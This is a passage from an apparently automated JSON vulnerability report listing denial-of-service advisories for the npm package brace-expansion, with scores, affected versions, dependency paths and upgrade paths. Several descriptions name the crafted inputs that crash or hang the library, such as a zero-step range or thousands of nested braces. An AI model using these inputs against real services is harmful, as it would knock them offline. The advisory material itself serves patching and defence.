fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
